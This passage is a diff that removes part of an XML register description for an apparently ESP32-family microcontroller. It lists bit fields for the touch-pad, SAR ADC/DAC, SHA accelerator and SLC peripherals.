-              <description>the threshold for touch pad 2</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_TOUCH_THRES3</name>
-          <addressOffset>0x64</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TOUCH_OUT_TH5</name>
-              <description>the threshold for touch pad 5</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_OUT_TH4</name>
-              <description>the threshold for touch pad 4</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_TOUCH_THRES4</name>
-          <addressOffset>0x68</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TOUCH_OUT_TH7</name>
-              <description>the threshold for touch pad 7</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_OUT_TH6</name>
-              <description>the threshold for touch pad 6</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_TOUCH_THRES5</name>
-          <addressOffset>0x6C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TOUCH_OUT_TH9</name>
-              <description>the threshold for touch pad 9</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_OUT_TH8</name>
-              <description>the threshold for touch pad 8</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_TOUCH_OUT1</name>
-          <addressOffset>0x70</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TOUCH_MEAS_OUT1</name>
-              <description>the counter for touch pad 1</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TOUCH_MEAS_OUT0</name>
-              <description>the counter for touch pad 0</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_TOUCH_OUT2</name>
-          <addressOffset>0x74</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TOUCH_MEAS_OUT3</name>
-              <description>the counter for touch pad 3</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TOUCH_MEAS_OUT2</name>
-              <description>the counter for touch pad 2</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_TOUCH_OUT3</name>
-          <addressOffset>0x78</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TOUCH_MEAS_OUT5</name>
-              <description>the counter for touch pad 5</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TOUCH_MEAS_OUT4</name>
-              <description>the counter for touch pad 4</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_TOUCH_OUT4</name>
-          <addressOffset>0x7C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TOUCH_MEAS_OUT7</name>
-              <description>the counter for touch pad 7</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TOUCH_MEAS_OUT6</name>
-              <description>the counter for touch pad 6</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_TOUCH_OUT5</name>
-          <addressOffset>0x80</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TOUCH_MEAS_OUT9</name>
-              <description>the counter for touch pad 9</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TOUCH_MEAS_OUT8</name>
-              <description>the counter for touch pad 8</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_TOUCH_CTRL2</name>
-          <addressOffset>0x84</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00400800</resetValue>
-          <fields>
-            <field>
-              <name>TOUCH_MEAS_EN</name>
-              <description>10-bit register to indicate which pads are "touched"</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TOUCH_MEAS_DONE</name>
-              <description>fsm set 1 to indicate touch touch meas is done</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TOUCH_START_FSM_EN</name>
-              <description>1: TOUCH_START &amp; TOUCH_XPD is controlled by touch fsm  0: TOUCH_START &amp; TOUCH_XPD is controlled by registers</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_START_EN</name>
-              <description>1: start touch fsm  valid when reg_touch_start_force is set</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_START_FORCE</name>
-              <description>1: to start touch fsm by SW  0: to start touch fsm by timer</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_SLEEP_CYCLES</name>
-              <description>sleep cycles for timer</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_MEAS_EN_CLR</name>
-              <description>to clear reg_touch_meas_en</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_TOUCH_ENABLE</name>
-          <addressOffset>0x8C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x3FFFFFFF</resetValue>
-          <fields>
-            <field>
-              <name>TOUCH_PAD_WORKEN</name>
-              <description>Bitmap defining the working set during the measurement.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_PAD_OUTEN2</name>
-              <description>Bitmap defining SET2 for generating wakeup interrupt. SET2 is "touched" only if at least one of touch pad in SET2 is "touched".</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_PAD_OUTEN1</name>
-              <description>Bitmap defining SET1 for generating wakeup interrupt. SET1 is "touched" only if at least one of touch pad in SET1 is "touched".</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_READ_CTRL2</name>
-          <addressOffset>0x90</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00070902</resetValue>
-          <fields>
-            <field>
-              <name>SAR2_CLK_DIV</name>
-              <description>clock divider</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR2_SAMPLE_CYCLE</name>
-              <description>sample cycles for SAR ADC2</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR2_SAMPLE_BIT</name>
-              <description>00: for 9-bit width  01: for 10-bit width  10: for 11-bit width  11: for 12-bit width</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR2_CLK_GATED</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR2_SAMPLE_NUM</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR2_PWDET_FORCE</name>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR2_DIG_FORCE</name>
-              <description>1: SAR ADC2 controlled by DIG ADC2 CTRL or PWDET CTRL  0: SAR ADC2 controlled by RTC ADC2 CTRL</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR2_DATA_INV</name>
-              <description>Invert SAR ADC2 data</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_MEAS_START2</name>
-          <addressOffset>0x94</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MEAS2_DATA_SAR</name>
-              <description>SAR ADC2 data</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEAS2_DONE_SAR</name>
-              <description>SAR ADC2 conversion done indication</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEAS2_START_SAR</name>
-              <description>SAR ADC2 controller (in RTC) starts conversion  only active when reg_meas2_start_force = 1</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MEAS2_START_FORCE</name>
-              <description>1: SAR ADC2 controller (in RTC) is started by SW  0: SAR ADC2 controller is started by ULP-coprocessor</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR2_EN_PAD</name>
-              <description>SAR ADC2 pad enable bitmap  only active when reg_sar2_en_pad_force = 1</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR2_EN_PAD_FORCE</name>
-              <description>1: SAR ADC2 pad enable bitmap is controlled by SW  0: SAR ADC2 pad enable bitmap is controlled by ULP-coprocessor</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_DAC_CTRL1</name>
-          <addressOffset>0x98</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SW_FSTEP</name>
-              <description>frequency step for CW generator  can be used to adjust the frequency</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SW_TONE_EN</name>
-              <description>1: enable CW generator  0: disable CW generator</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DEBUG_BIT_SEL</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DAC_DIG_FORCE</name>
-              <description>1: DAC1 &amp; DAC2 use DMA  0: DAC1 &amp; DAC2 do not use DMA</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DAC_CLK_FORCE_LOW</name>
-              <description>1: force PDAC_CLK to low</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DAC_CLK_FORCE_HIGH</name>
-              <description>1: force PDAC_CLK to high</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DAC_CLK_INV</name>
-              <description>1: invert PDAC_CLK</description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_DAC_CTRL2</name>
-          <addressOffset>0x9C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x03000000</resetValue>
-          <fields>
-            <field>
-              <name>DAC_DC1</name>
-              <description>DC offset for DAC1 CW generator</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DAC_DC2</name>
-              <description>DC offset for DAC2 CW generator</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DAC_SCALE1</name>
-              <description>00: no scale  01: scale to 1/2  10: scale to 1/4  scale to 1/8</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DAC_SCALE2</name>
-              <description>00: no scale  01: scale to 1/2  10: scale to 1/4  scale to 1/8</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DAC_INV1</name>
-              <description>00: do not invert any bits  01: invert all bits  10: invert MSB  11: invert all bits except MSB</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DAC_INV2</name>
-              <description>00: do not invert any bits  01: invert all bits  10: invert MSB  11: invert all bits except MSB</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DAC_CW_EN1</name>
-              <description>1: to select CW generator as source to PDAC1_DAC[7:0]  0: to select register reg_pdac1_dac[7:0] as source to PDAC1_DAC[7:0]</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DAC_CW_EN2</name>
-              <description>1: to select CW generator as source to PDAC2_DAC[7:0]  0: to select register reg_pdac2_dac[7:0] as source to PDAC2_DAC[7:0]</description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_MEAS_CTRL2</name>
-          <addressOffset>0xA0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000003</resetValue>
-          <fields>
-            <field>
-              <name>SAR1_DAC_XPD_FSM</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR1_DAC_XPD_FSM_IDLE</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XPD_SAR_AMP_FSM_IDLE</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AMP_RST_FB_FSM_IDLE</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AMP_SHORT_REF_FSM_IDLE</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AMP_SHORT_REF_GND_FSM_IDLE</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XPD_SAR_FSM_IDLE</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR_RSTB_FSM_IDLE</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR2_RSTB_FORCE</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AMP_RST_FB_FORCE</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AMP_SHORT_REF_FORCE</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AMP_SHORT_REF_GND_FORCE</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_NOUSE</name>
-          <addressOffset>0xF8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SAR_NOUSE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SARDATE</name>
-          <addressOffset>0xFC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x01605180</resetValue>
-          <fields>
-            <field>
-              <name>SAR_DATE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>28</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>SHA</name>
-      <description>SHA (Secure Hash Algorithm) Accelerator</description>
-      <groupName>SHA</groupName>
-      <baseAddress>0x3FF03000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0xC0</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <registers>
-        <register>
-          <dim>32</dim>
-          <dimIncrement>0x4</dimIncrement>
-          <name>TEXT_%s</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TEXT</name>
-              <description>SHA Message block and hash result register.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHA1_START</name>
-          <addressOffset>0x80</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SHA1_START</name>
-              <description>Write 1 to start an SHA-1 operation on the first message block.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHA1_CONTINUE</name>
-          <addressOffset>0x80</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SHA1_CONTINUE</name>
-              <description>Write 1 to continue the SHA-1 operation with subsequent blocks.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHA1_LOAD</name>
-          <addressOffset>0x88</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SHA1_LOAD</name>
-              <description>Write 1 to finish the SHA-1 operation to calculate the final message hash.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHA1_BUSY</name>
-          <addressOffset>0x8C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SHA1_BUSY</name>
-              <description>SHA-1 operation status: 1 if the SHA accelerator is processing data, 0 if it is idle.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHA256_START</name>
-          <addressOffset>0x90</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SHA256_START</name>
-              <description>Write 1 to start an SHA-256 operation on the first message block.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHA256_LOAD</name>
-          <addressOffset>0x90</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SHA256_LOAD</name>
-              <description>Write 1 to finish the SHA-256 operation to calculate the final message hash.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHA256_CONTINUE</name>
-          <addressOffset>0x94</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SHA256_CONTINUE</name>
-              <description>Write 1 to continue the SHA-256 operation with subsequent blocks.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHA256_BUSY</name>
-          <addressOffset>0x9C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SHA256_BUSY</name>
-              <description>SHA-256 operation status: 1 if the SHA accelerator is processing data, 0 if it is idle.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHA384_START</name>
-          <addressOffset>0xA0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SHA384_START</name>
-              <description>Write 1 to start an SHA-384 operation on the first message block.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHA384_CONTINUE</name>
-          <addressOffset>0xA4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SHA384_CONTINUE</name>
-              <description>Write 1 to continue the SHA-384 operation with subsequent blocks.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHA384_LOAD</name>
-          <addressOffset>0xA8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SHA384_LOAD</name>
-              <description>Write 1 to finish the SHA-384 operation to calculate the final message hash.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHA384_BUSY</name>
-          <addressOffset>0xAC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SHA384_BUSY</name>
-              <description>SHA-384 operation status: 1 if the SHA accelerator is processing data, 0 if it is idle.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHA512_START</name>
-          <addressOffset>0xB0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SHA512_START</name>
-              <description>Write 1 to start an SHA-512 operation on the first message block.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHA512_CONTINUE</name>
-          <addressOffset>0xB4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SHA512_CONTINUE</name>
-              <description>Write 1 to continue the SHA-512 operation with subsequent blocks.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHA512_LOAD</name>
-          <addressOffset>0xB8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SHA512_LOAD</name>
-              <description>Write 1 to finish the SHA-512 operation to calculate the final message hash.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SHA512_BUSY</name>
-          <addressOffset>0xBC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SHA512_BUSY</name>
-              <description>SHA-512 operation status: 1 if the SHA accelerator is processing data, 0 if it is idle.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>SLC</name>
-      <description>Peripheral SLC</description>
-      <groupName>SLC</groupName>
-      <baseAddress>0x3FF58000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0x14C</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <registers>
-        <register>
-          <name>CONF0</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0xFF3CFF30</resetValue>
-          <fields>
-            <field>
-              <name>SLC0_TX_RST</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RX_RST</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AHBM_FIFO_RST</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AHBM_RST</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TX_LOOP_TEST</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RX_LOOP_TEST</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RX_AUTO_WRBACK</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RX_NO_RESTART_CLR</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RXDSCR_BURST_EN</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RXDATA_BURST_EN</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RXLINK_AUTO_RET</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TXLINK_AUTO_RET</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TXDSCR_BURST_EN</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TXDATA_BURST_EN</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TOKEN_AUTO_CLR</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TOKEN_SEL</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TX_RST</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RX_RST</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_WR_RETRY_MASK_EN</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_WR_RETRY_MASK_EN</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TX_LOOP_TEST</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RX_LOOP_TEST</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RX_AUTO_WRBACK</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RX_NO_RESTART_CLR</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RXDSCR_BURST_EN</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RXDATA_BURST_EN</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RXLINK_AUTO_RET</name>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TXLINK_AUTO_RET</name>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
